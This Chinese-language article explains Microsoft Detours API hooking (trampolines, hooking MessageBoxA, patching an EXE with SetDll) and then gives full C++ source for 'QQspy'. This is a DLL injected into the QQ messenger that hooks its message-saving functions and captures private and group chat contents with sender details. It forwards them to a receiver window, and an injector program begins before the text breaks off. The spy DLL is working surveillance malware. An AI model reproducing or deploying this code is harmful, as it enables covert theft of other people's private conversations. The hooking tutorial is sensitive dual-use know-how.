微软研究院Detour开发包之API拦截技术

我们截获函数执行最直接的目的就是为函数增添功能,修改返回值,或者为调试以及性能测试加入附加的代码,或者截获函数的输入输出作研究,破解使用。通过访 问源代码,我们可以轻而易举的使用重建(Rebuilding)操作系统或者应用程序的方法在它们中间插入新的功能或者做功能扩展。然而,在今天这个商业 化的开发世界里,以及在只有二进制代码发布的系统中,研究人员几乎没有机会可以得到源代码。本文主要讨论Detour在Windows二进制PE文件基础 上的API截获技术。对于Linux平台,作这件事情将会非常的简单,由于最初的操作系统设计者引入了LD_PRELOAD。如果你设置  LD_PRELOAD=mylib.so ,那么应用程序在载入 dll时,会先查看mylib.so的符号表,在relocation 的时候会优先 使用mylib.so 里的 symbol 。假如你在mylib.so里有个printf() ,那么这个printf就会替代libc的 printf。 而在mylib.so里的这个printf可以直接访问 libc.so里的printf函数指针来获得真正的 printf的入口地 址。 这样,所有的dll的API HOOK在loader加载dll的时候就已经完成,非常自然,和平台相关的部分全部交给loader去处理。 一、  Detour开发库:
  简介
Detours是一个在x86平台上截获任意Win32函数调用的工具库。中断代码可以在运行时动态加载。Detours使用一个无条件转移指令来替换目 标函数的最初几条指令,将控制流转移到一个用户提供的截获函数。而目标函数中的一些指令被保存在一个被称为“trampoline” (译注:英文意为蹦 床,杂技)的函数中,在这里我觉得翻译成目标函数的部分克隆/拷贝比较贴切。这些指令包括目标函数中被替换的代码以及一个重新跳转到目标函数的无条件分 支。而截获函数可以替换目标函数,或者通过执行“trampoline”函数的时候将目标函数作为子程序来调用的办法来扩展功能。
Detours是执行时被插入的。内存中的目标函数的代码不是在硬盘上被修改的,因而可以在一个很好的粒度上使得截获二进制函数的执行变得更容易。例如, 一个应用程序执行时加载的DLL中的函数过程可以被插入一段截获代码(detoured),与此同时,这个DLL还可以被其他应用程序按正常情况执行(译 注:也就是按照不被截获的方式执行,因为DLL二进制文件没有被修改,所以发生截获时不会影响其他进程空间加载这个DLL)。不同于DLL的重新链接或者 静态重定向,Detours库中使用的这种中断技术确保不会影响到应用程序中的方法或者系统代码对目标函数的定位。
如果其他人为了调试或者在内部使用其他系统检测手段而试图修改二进制代码,Detours将是一个可以普遍使用的开发包。据我所知,Detours是第一 个可以在任意平台上将未修改的目标代码作为一个可以通过“trampoline”调用的子程序来保留的开发包。而以前的系统在逻辑上预先将截获代码放到目 标代码中,而不是将原始的目标代码做为一个普通的子程序来调用。我们独特的“trampoline”设计对于扩展现有的软件的二进制代码是至关重要的。
出于使用基本的函数截获功能的目的,Detours同样提供了编辑任何DLL导入表的功能,达到向存在的二进制代码中添加任意数据节表的目的,向一个新进 程或者一个已经运行着的进程中注入一个DLL。一旦向一个进程注入了DLL,这个动态库就可以截获任何Win32函数,不论它是在应用程序中或者在系统库中。
  基本原理
1.  WIN32进程的内存管理 
众所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点: 
(1) 进程要执行的指令也放在虚存空间中 
(2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序 
(3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码 。
2. 拦截WIN32 API的原理 
Detours定义了三个概念:
    (1) Target函数:要拦截的函数,通常为Windows的API。
(2) Trampoline函数:Target函数的部分复制品。因为Detours将会改写Target函数,所以先把Target函数的前5个字节复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
(3) Detour 函数:用来替代Target函数的函数。 
Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数 的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+ 5共10个字节作为Trampoline函数。请参考下面的图1和图2。
(图1:Detour函数的过程)
crack_01  
(图2: Detour函数的调用过程)
crack_02  
说明:
  目标函数:
目标函数的函数体(二进制)至少有5个字节以上。按照微软的说明文档Trampoline函数的函数体是拷贝前5个字节加一个无条件跳转指令的话(如果没 有特殊处理不可分割指令的话),那么前5个字节必须是完整指令,也就是不能第5个字节和第6个字节是一条不可分割的指令,否则会造成Trampoline 函数执行错误,一条完整的指令被硬性分割开来,造成程序崩溃。对于第5字节和第6个字节是不可分割指令需要调整拷贝到杂技函数(Trampoline)的 字节个数,这个值可以查看目标函数的汇编代码得到。此函数是目标函数的修改版本,不能在Detour函数中直接调用,需要通过对Trampoline函数 的调用来达到间接调用。
  Trampoline函数:
此函数默认分配了32个字节,函数的内容就是拷贝的目标函数的前5个字节,加上一个JMP Address_of_ Target _ Function+5指令,共10个字节。
此函数仅供您的Detour函数调用,执行完前5个字节的指令后再绝对跳转到目标函数的第6个字节继续执行原功能函数。
  Detour函数:
此函数是用户需要的截获API的一个模拟版本,调用方式,参数个数必须和目标函数相一致。如目标函数是__stdcall,则Detour函数声明也必须 是__stdcall,参数个数和类型也必须相同,否则会造成程序崩溃。此函数在程序调用目标函数的第一条指令的时候就会被调用(无条件跳转过来的),如 果在此函数中想继续调用目标函数,必须调用Trampoline函数(Trampoline函数在执行完目标函数的前5个字节的指令后会无条件跳转到目标 函数的5个字节后继续执行),不能再直接调用目标函数,否则将进入无穷递归(目标函数跳转到Detour函数,Detour函数又跳转到目标函数的递归, 因为目标函数在内存中的前5个字节已经被修改成绝对跳转)。通过对Trampoline函数的调用后可以获取目标函数的执行结果,此特性对分析目标函数非 常有用,而且可以将目标函数的输出结果进行修改后再传回给应用程序。
Detour提供了向运行中的应用程序注入Detour函数和在二进制文件基础上注入Detour函数两种方式。本章主要讨论第二种工作方式。通过 Detours提供的开发包可以在二进制EXE文件中添加一个名称为Detour的节表,如下图3所示,主要目的是实现PE加载器加载应用程序的时候会自 动加载您编写的Detours DLL,在Detours Dll中的DLLMain中完成对目标函数的Detour。
(图3)
crack_03  
二、  Detours提供的截获API的相关接口
Detours的提供的API 接口可以作为一个共享DLL给外部程序调用,也可以作为一个静态Lib链接到您的程序内部。
Trampoline函数可以动态或者静态的创建,如果目标函数本身是一个链接符号,使用静态的trampoline函数将非常简单。如果目标函数不能在链接时可见,那么可以使用动态trampoline函数。
  要使用静态的trampoline函数来截获目标函数,应用程序生成trampoline的时候必须使用
DETOUR_TRAMPOLINE宏。DETOUR_TRAMPOLINE有两个输入参数:trampoline的原型和目标函数的名字。
注意,对于正确的截获模型,包括目标函数,trampoline函数,以及截获函数都必须是完全一致的调用形式,包括参数格式和调用约定。当通过 trampoline函数调用目标函数的时候拷贝正确参数是截获函数的责任。由于目标函数仅仅是截获函数的一个可调用分支(截获函数可以调用 trampoline函数也可以不调用),这种责任几乎就是一种下意识的行为。
使用相同的调用约定可以确保寄存器中的值被正确的保存,并且保证调用堆栈在截获函数调用目标函数的时候能正确的建立和销毁。
可以使用DetourFunctionWithTrampoline函数来截获目标函数。这个函数有两个参数:trampoline函数以及截获函数的指针。因为目标函数已经被加到trampoline函数中,所有不需要在参数中特别指定。
  我们可以使用DetourFunction函数来创建一个动态的trampoline函数,它包括两个参数:一个指向目标函数的指针和一个截获函数的指针。DetourFunction分配一个新的trampoline函数并将适当的截获代码插入到目标函数中去。
当目标函数不是很容易使用的时候,DetourFindFunction函数可以找到那个函数,不管它是DLL中导出的函数,或者是可以通过二进制目标函数的调试符号找到。
DetourFindFunction接受两个参数:库的名字和函数的名字。如果DetourFindFunction函数找到了指定的函数,返回该函数 的指针,否则将返回一个NULL指针。DetourFindFunction会首先使用Win32函数LoadLibrary 和 GetProcAddress来定位函数,如果函数没有在DLL的导出表中找到,DetourFindFunction将使用ImageHlp库来搜索有 效的调试符号(译注:这里的调试符号是指Windows本身提供的调试符号,需要单独安装,具体信息请参考Windows的用户诊断支持信息)。 DetourFindFunction返回的函数指针可以用来传递给DetourFunction以生成一个动态的trampoline函数。
我们可以调用DetourRemoveTrampoline来去掉对一个目标函数的截获。
注意,因为Detours中的函数会修改应用程序的地址空间,请确保当加入截获函数或者去掉截获函数的时候没有其他线程在进程空间中执行,这是程序员的责任。一个简单的方法保证这个时候是单线程执行就是在加载Detours库的时候在DllMain中呼叫函数。
三、  使用Detours实现对API的截获的两种方法
建立一个MFC对话框工程,在对话框的OK按钮的单击事件中加入对MessageBoxA函数的调用,编译后的程序名称MessageBoxApp,效果如图。
crack_04  
(图4)
  静态方法
建立一个Dll工程,名称为ApiHook,这里以Visual C++6.0开发环境,以截获ASCII版本的MessageBoxA函数来说明。在Dll的工程加入:
DETOUR_TRAMPOLINE(int WINAPI Real_Messagebox(HWND hWnd ,
    LPCSTR lpText,
    LPCSTR lpCaption,
UINT uType), ::MessageBoxA);
生成一个静态的MessageBoxA的Trampoline函数,在Dll工程中加入目标函数的Detour函数:
int WINAPI MessageBox_Mine( HWND hWnd ,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType)
{
  CString tmp= lpText;
  tmp+=” 被Detour截获”;
  return Real_Messagebox(hWnd,tmp,lpCaption,uType);
//  return ::MessageBoxA(hWnd,tmp,lpCaption,uType);  //Error 
}
在Dll入口函数中的加载Dll事件中加入:
DetourFunctionWithTrampoline((PBYTE)Real_Messagebox, (PBYTE)MessageBox_Mine);
在Dll入口函数中的卸载Dll事件中加入:
DetourRemove((PBYTE)Real_Messagebox, (PBYTE)MessageBox_Mine);
  动态方法
建立一个Dll工程,名称为ApiHook,这里以Visual C++6.0开发环境,以截获ASCII版本的MessageBoxA函数来说明。在Dll的工程加入:
//声明MessageBoxA一样的函数原型
typedef int  (WINAPI * MessageBoxSys)( HWND hWnd ,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType);
//目标函数指针
MessageBoxSys SystemMessageBox=NULL;
//Trampoline函数指针
MessageBoxSys Real_MessageBox=NULL;
在Dll工程中加入目标函数的Detour函数:
int WINAPI MessageBox_Mine( HWND hWnd ,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType)
{
  CString tmp= lpText;
  tmp+=” 被Detour截获”;
  return Real_Messagebox(hWnd,tmp,lpCaption,uType);
//  return ::MessageBoxA(hWnd,tmp,lpCaption,uType);  //Error 
}
在Dll入口函数中的加载Dll事件中加入:
  SystemMessageBox=(MessageBoxSys)DetourFindFunction("user32.dll","MessageBoxA");
  if(SystemMessageBox==NULL)
  {
    return FASLE;
  }
  Real_MessageBox=(MessageBoxSys)DetourFunction((PBYTE)SystemMessageBox, (PBYTE)MessageBox_Mine);
在Dll入口函数中的卸载Dll事件中加入:
DetourRemove((PBYTE)Real_Messagebox, (PBYTE)MessageBox_Mine);
  重写二进制可执行文件
使用Detours自带的SetDll.exe重写二进制可执行文件,可以在需要截获的程序中加入一个新的Detours的PE节表。对于本文就是新建一个批处理文件调用SetDll.exe。
@echo off
if not exist MessageBoxApp.exe (
echo 请将文件解压到MessageBoxApp.exe的安装目录, 然后执行补丁程序
) else (
setdll /d:ApiHook.dll MessageBoxApp.exe
)
Pause
调用后使用depends.exe(微软VC6.0开发包的工具之一)观察MessageBoxApp.exe前后变化, 可以看到Setdll已经重写MessageBoxApp.exe
成功,加入了对ApiHook.dll的依赖关系。
crack_05
      (执行SetDll.exe前)                                                       (执行SetDll.exe后)
执行SetDll.exe重写后的MessageBoxApp.exe,点击确定后可以看到结果如下:
至此,MessageBoxApp.exe对MessageBoxA函数的调用已经被截获,弹出的对话框内容已经明显说明这一点。

crack_06

------------------------------------------------------------------------------------------

一个例子

分析出相关QQ内部函数
//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
//?GetSelfUin@Contact@Util@@YAKXZ
//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
//?GetSelfUin@Contact@Util@@YAKXZ

然后我们写一个DLL来注射到QQ内部,调用QQ相关函数,获取相关QQ聊天记录信息,然后将QQ聊天记录用sendmessage发送出来。
DLL代码如下


#include "stdafx.h"
#include "QQspy.h"

#include "detours.h"
#pragma comment (lib, "detours.lib")

#include <set>
#include <shlwapi.h>
#pragma comment (lib, "shlwapi.lib")

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

//
//  Note!
//
//    If this DLL is dynamically linked against the MFC
//    DLLs, any functions exported from this DLL which
//    call into MFC must have the AFX_MANAGE_STATE macro
//    added at the very beginning of the function.
//
//    For example:
//
//    extern "C" BOOL PASCAL EXPORT ExportedFunction()
//    {
//      AFX_MANAGE_STATE(AfxGetStaticModuleState());
//      // normal function body here
//    }
//
//    It is very important that this macro appear in each
//    function, prior to any calls into MFC.  This means that
//    it must appear as the first statement within the 
//    function, even before any object variable declarations
//    as their constructors may generate calls into the MFC
//    DLL.
//
//    Please see MFC Technical Notes 33 and 58 for additional
//    details.
//

/
// CQQMonApp

BEGIN_MESSAGE_MAP(CQQMonApp, CWinApp)
  //{{AFX_MSG_MAP(CQQMonApp)
    // NOTE - the ClassWizard will add and remove mapping macros here.
    //    DO NOT EDIT what you see in these blocks of generated code!
  //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/
// CQQMonApp construction

CQQMonApp::CQQMonApp()
{
  // TODO: add construction code here,
  // Place all significant initialization in InitInstance
}

/
// The one and only CQQMonApp object

CQQMonApp theApp;


// 定义函数类型
typedef  BOOL  (__cdecl *M_SaveMsg_1)(LPCWSTR lpStr,
                    DWORD dTo_Num,
                    DWORD dFrom_Num,
                    DWORD dTo_Num_2,
                    struct ITXMsgPack * TXMsgPack,
                    struct ITXData* TXData);

typedef BOOL (__cdecl *M_SaveMsg_2)(wchar_t *group,
                  wchar_t *un_1,
                  wchar_t *username,
                  wchar_t *un_1_,
                  int num_1,
                  int num_2,
                  struct ITXMsgPack * TXMsgPack,
                  struct ITXData* TXData);

//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
typedef int (__cdecl *M_GetMsgTime)(struct ITXMsgPack *TXMsgPack);

//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);

//
typedef PVOID (__cdecl *M_GetPublicName)(LPWSTR *lpBuffer, DWORD dQQNum);

//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetGroupName)(LPWSTR *lpBuffer, DWORD dGroupNum);

//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetDiscussName)(LPWSTR *lpBuffer, DWORD dGroupNum);

//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
typedef int (__cdecl *M_GetGroupMemLongNickname)(unsigned long,unsigned long,CString &);

//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
typedef PVOID (__cdecl *M_GetGroupMemShowName)(ULONG,ULONG);

//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);

//
typedef  PVOID (__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack);


// 定义函数指针
M_SaveMsg_1      OldSaveMsg_1 = NULL;
M_SaveMsg_2      OldSaveMsg_2 = NULL;
M_SaveMsg_1      TrueSaveMsg_1 = NULL;
M_SaveMsg_2      TrueSaveMsg_2 = NULL;

M_GetMsgAbstract  TrueGetMsgAbstract = NULL;
M_GetMsgTime    TrueGetMsgTime = NULL;
M_GetGroupName    TrueGetGroupName = NULL;
M_GetDiscussName  TrueGetDiscussName = NULL;
M_GetPublicName    TrueGetPublicName = NULL;
M_GetSelfUin    TrueGetSelfUin = NULL;
M_GetSelfUin    OldGetSelfUin = NULL;


M_GetGroupMemLongNickname TrueGetGroupMemLongNickname = NULL;
M_GetGroupMemShowName TrueGetGroupMemShowName = NULL;

// 定义HOOK函数
BOOL  __cdecl NewSaveMsg_1(LPCWSTR lpStr,
               DWORD dTo_Num,
               DWORD dFrom_Num,
               DWORD dTo_Num_2,
               struct ITXMsgPack * TXMsgPack,
               struct ITXData* TXData);

BOOL __cdecl NewSaveMsg_2(wchar_t *group,
              wchar_t *un_1,
              wchar_t *username,
              wchar_t *un_1_,
              int num_1,
              int num_2,
              struct ITXMsgPack * TXMsgPack,
              struct ITXData* TXData);

//测试娱乐
int __cdecl NewGetSelfUin(void)
{
  return 475318423;
}
VOID __cdecl Sendinfo(CString str)
{


  COPYDATASTRUCT myCopyDATA;
  myCopyDATA.cbData=str.GetLength();
  myCopyDATA.lpData=str.GetBuffer(0);
  str.ReleaseBuffer();
  HWND hwnd=::FindWindow(NULL,"QQ-聊天记录接收"); 
  if (hwnd)
  {
    ::SendMessage(hwnd,WM_COPYDATA,NULL,(LPARAM)&myCopyDATA);
  }
  else
  {
         AfxMessageBox(_T("发送失败!"));
  }



}


VOID __stdcall Joker()
{
  ULONG fnGetSelfUin;
  ULONG currentQQ;
  fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
  if ( fnGetSelfUin)
  {
    currentQQ = ((ULONG (__cdecl*)())fnGetSelfUin)();
    if ( currentQQ)
    {
      char buf[64];
      wsprintfA( buf, "新登录QQ: %d", currentQQ);
      CString fff = buf;
      fff =fff+"\r\n";
      OutputDebugString( fff);
      theApp.filename=buf;
      Sendinfo(fff);

    }
  }
}




BOOL CQQMonApp::InitInstance() 
{
  // TODO: Add your specialized code here and/or call the base class
  OutputDebugString("Hook Start");
  // 确保加载过KernelUtil.dll
  HMODULE hModule = NULL;
  hModule = GetModuleHandle(_T("KernelUtil.dll"));
  if (hModule == NULL)
  {
    hModule = LoadLibrary("KernelUtil.dll");
  }
  // 获得所需函数的地址
  TrueSaveMsg_1 = (M_SaveMsg_1) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z");      
  if (!TrueSaveMsg_1)
  {
    return FALSE;
  }
      
  TrueSaveMsg_2 = (M_SaveMsg_2) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_W000KKPAUITXMsgPack@@PAUITXData@@@Z");      
  if(!TrueSaveMsg_2)
  {
    return FALSE;
  }

  TrueGetMsgTime = (M_GetMsgTime)GetProcAddress(hModule, "?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z");      
  if (!TrueGetMsgTime)
  {
    return FALSE;
  }

  TrueGetPublicName = (M_GetPublicName)GetProcAddress(hModule, "?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z");      
  if (!TrueGetPublicName)
  {
    return FALSE;
  }
      
  TrueGetGroupName = (M_GetGroupName) GetProcAddress(hModule, "?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z");
  if (!TrueGetGroupName)
  {
    return FALSE;
  }

  TrueGetDiscussName = (M_GetDiscussName) GetProcAddress(hModule, "?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z");
  if (!TrueGetDiscussName)
  {
    return FALSE;
  }

  TrueGetSelfUin = (M_GetSelfUin)GetProcAddress(hModule, "?GetSelfUin@Contact@Util@@YAKXZ");    
  if (!TrueGetSelfUin)
  {
    return FALSE;
  }

  TrueGetMsgAbstract = (M_GetMsgAbstract)GetProcAddress(hModule, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z");      
  if (!TrueGetMsgAbstract)
  {
    return FALSE;
  }

//  //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
//  TrueGetGroupMemShowName = (M_GetGroupMemShowName) GetProcAddress(hModule, "?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z");
//  if (!TrueGetGroupMemShowName)
//  {
//    break;
//  }


  //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
//  TrueGetGroupMemLongNickname = (M_GetGroupMemLongNickname) GetProcAddress(hModule, "?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z");
//  if (!TrueGetDiscussName)
//  {
//    break;
//  }

  // 开始HOOK
  if (TrueSaveMsg_1)
  {
    OldSaveMsg_1 = (M_SaveMsg_1) DetourFunction((PBYTE)TrueSaveMsg_1, (PBYTE)NewSaveMsg_1);
  }

  if (TrueSaveMsg_2)
  {
    OldSaveMsg_2 = (M_SaveMsg_2) DetourFunction((PBYTE)TrueSaveMsg_2, (PBYTE)NewSaveMsg_2);
  }
     Joker();
     
     //OldGetSelfUin = (M_GetSelfUin) DetourFunction((PBYTE)TrueGetSelfUin, (PBYTE)NewGetSelfUin);

  return CWinApp::InitInstance();
}


BOOL  __cdecl NewSaveMsg_1(LPCWSTR lpStr, 
               DWORD dTo_Num, 
               DWORD dFrom_Num, 
               DWORD data3, 
               struct ITXMsgPack * TXMsgPack, 
               struct ITXData* TXData )
{




  long lSelfQQNum = TrueGetSelfUin();
  //调试打印输出,时间
  time_t Time;
  struct tm *local;
  WCHAR wszStringTime[20] = {0};
  Time = (time_t)TrueGetMsgTime(TXMsgPack);
  local = localtime(&Time);
  swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec);

  LPWSTR lpName1 = NULL,lpName2 = NULL;
  
  if (TrueGetPublicName)
  {
    TrueGetPublicName(&lpName1, dFrom_Num);
    TrueGetPublicName(&lpName2, dTo_Num);
  }

  WCHAR wszStringBuffer[MAX_PATH] = {0};


  CString  ms1;
  CString  ms2;
  //发消息人是自己
    

  if(lSelfQQNum == dFrom_Num)
  {      
    swprintf(wszStringBuffer,L"[个聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime);
    ms1=wszStringBuffer;
  //  OutputDebugStringW(wszStringBuffer);
    
  }

  //发消息人不是自己
  if(lSelfQQNum != dFrom_Num && dTo_Num == lSelfQQNum)
  {      
    swprintf(wszStringBuffer,L"[个聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime);
    ms1=wszStringBuffer;
  //  OutputDebugStringW(wszStringBuffer);
  }

    
    
  CString strBuffer;
  LPWSTR *lpBuffer =(LPWSTR *)TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);
  

  ms2=ms1+"\r\n"+*lpBuffer;
  //调试打印输出,内容
  //OutputDebugStringW(*lpBuffer);
  Sendinfo(ms2);
    OutputDebugString(ms2);
    
  return OldSaveMsg_1(lpStr, dTo_Num, dFrom_Num, data3, TXMsgPack, TXData);
}



BOOL __cdecl NewSaveMsg_2( wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData )
{



  //调试打印输出,时间
  time_t Time;
  struct tm *local;
  WCHAR wszStringTime[20] = {0};
  Time = (time_t)TrueGetMsgTime(TXMsgPack);
  local = localtime(&Time);
  swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec);
  long lSelfQQNum = TrueGetSelfUin();
  //
  WCHAR wszStringBuffer[2*MAX_PATH] = {0};
  CString strBuffer;
  LPWSTR *lpBuffer =(LPWSTR *) TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);

  CString strGroup(group);  
  LPWSTR lpName1 = NULL;

  CString ms1;


  if (strGroup.CompareNoCase("group") == 0)
  {
    if (TrueGetPublicName)
    {
      TrueGetGroupName(&lpName1, num_1);
    }

  //  TXStr Str;
  //  TrueGetGroupMemLongNickname(num_1,num_2,Str);
  //  OutputDebugStringW(Str.str);

    swprintf(wszStringBuffer,L"[群聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime);
        ms1=wszStringBuffer;
    ms1=ms1+"\r\n"+*lpBuffer;

        OutputDebugString(ms1);

          Sendinfo(ms1);

    //OutputDebugStringW(wszStringBuffer);
    //OutputDebugStringW(*lpBuffer);



  }


  else if (strGroup.CompareNoCase("discuss") == 0)
  {
    if (TrueGetDiscussName)
    {
      TrueGetDiscussName(&lpName1, num_1);
    }

    swprintf(wszStringBuffer,L"[讨聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime);
    ms1=wszStringBuffer;
    ms1=ms1+"\r\n"+*lpBuffer;

    OutputDebugString(ms1);
      Sendinfo(ms1);

  //  OutputDebugStringW(wszStringBuffer);
    //OutputDebugStringW(*lpBuffer);


  }

  return OldSaveMsg_2(group, un_1, username, un_1_, num_1, num_2, TXMsgPack, TXData);
}

int CQQMonApp::ExitInstance() 
{
  // TODO: Add your specialized code here and/or call the base class
  OutputDebugString("Hook Exit");
  DetourRemove((PBYTE)OldSaveMsg_1, (PBYTE)NewSaveMsg_1);
  DetourRemove((PBYTE)OldSaveMsg_2, (PBYTE)NewSaveMsg_2);
//  DetourRemove((PBYTE)OldGetSelfUin, (PBYTE)NewGetSelfUin);

  return CWinApp::ExitInstance();
}


下面我们写一个MFC窗口程序,用来接收QQ聊天信息,并将QQ聊天记录显示出来,同时检索QQ进程,并将DLL注射到QQ的体内。

#include "stdafx.h"
#include "QQ-spy.h"
#include "QQ-spyDlg.h"
#include <windows.h>
#include <tlhelp32.h>
#include "ADOConn.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif


// 用于应用程序“关于”菜单项的 CAboutDlg 对话框

class CAboutDlg : public CDialog
{
public:
  CAboutDlg();

// 对话框数据
  enum { IDD = IDD_ABOUTBOX };

  protected:
  virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持

// 实现
protected:
  DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
  CDialog::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()


// CQQSPYDlg 对话框




CQQSPYDlg::CQQSPYDlg(CWnd* pParent /*=NULL*/)
  : CDialog(CQQSPYDlg::IDD, pParent)
{
  m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CQQSPYDlg::DoDataExchange(CDataExchange* pDX)
{
  CDialog::DoDataExchange(pDX);
  DDX_Control(pDX, IDC_EDIT1, m_edit);
  DDX_Control(pDX, IDC_LIST1, m_list);
}

BEGIN_MESSAGE_MAP(CQQSPYDlg, CDialog)
  ON_WM_SYSCOMMAND()
  ON_WM_PAINT()
  ON_WM_QUERYDRAGICON()
  //}}AFX_MSG_MAP
  ON_WM_COPYDATA()
  ON_LBN_SELCHANGE(IDC_LIST1, &CQQSPYDlg::OnLbnSelchangeList1)
  ON_BN_CLICKED(IDC_BUTTON1, &CQQSPYDlg::OnBnClickedButton1)
  ON_WM_TIMER()
  ON_BN_CLICKED(IDC_BUTTON3, &CQQSPYDlg::OnBnClickedButton3)
END_MESSAGE_MAP()


// CQQSPYDlg 消息处理程序

BOOL CQQSPYDlg::OnInitDialog()
{
  CDialog::OnInitDialog();

  // 将“关于...”菜单项添加到系统菜单中。

  // IDM_ABOUTBOX 必须在系统命令范围内。
  ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
  ASSERT(IDM_ABOUTBOX < 0xF000);

  CMenu* pSysMenu = GetSystemMenu(FALSE);
  if (pSysMenu != NULL)
  {
    CString strAboutMenu;
    strAboutMenu.LoadString(IDS_ABOUTBOX);
    if (!strAboutMenu.IsEmpty())
    {
      pSysMenu->AppendMenu(MF_SEPARATOR);
      pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
    }
  }

  // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
  //  执行此操作
  SetIcon(m_hIcon, TRUE);      // 设置大图标
  SetIcon(m_hIcon, FALSE);    // 设置小图标

  // TODO: 在此添加额外的初始化代码

  SetTimer(1,15000,NULL);

  return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}

void CQQSPYDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
  if ((nID & 0xFFF0) == IDM_ABOUTBOX)
  {
    CAboutDlg dlgAbout;
    dlgAbout.DoModal();
  }
  else
  {
    CDialog::OnSysCommand(nID, lParam);
  }
}

// 如果向对话框添加最小化按钮,则需要下面的代码
//  来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
//  这将由框架自动完成。

void CQQSPYDlg::OnPaint()
{
  if (IsIconic())
  {
    CPaintDC dc(this); // 用于绘制的设备上下文

    SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);

    // 使图标在工作矩形中居中
    int cxIcon = GetSystemMetrics(SM_CXICON);
    int cyIcon = GetSystemMetrics(SM_CYICON);
    CRect rect;
    GetClientRect(&rect);
    int x = (rect.Width() - cxIcon + 1) / 2;
    int y = (rect.Height() - cyIcon + 1) / 2;

    // 绘制图标
    dc.DrawIcon(x, y, m_hIcon);
  }
  else
  {
    CDialog::OnPaint();
  }
}

//当用户拖动最小化窗口时系统调用此函数取得光标显示。
//
HCURSOR CQQSPYDlg::OnQueryDragIcon()
{
  return static_cast<HCURSOR>(m_hIcon);
}



DWORD CQQSPYDlg::FindByPID(PTSTR pszProcessName)
{
  DWORD dwProcessID = 0;
  HANDLE hProcessSnap;
  PROCESSENTRY32 pe32;

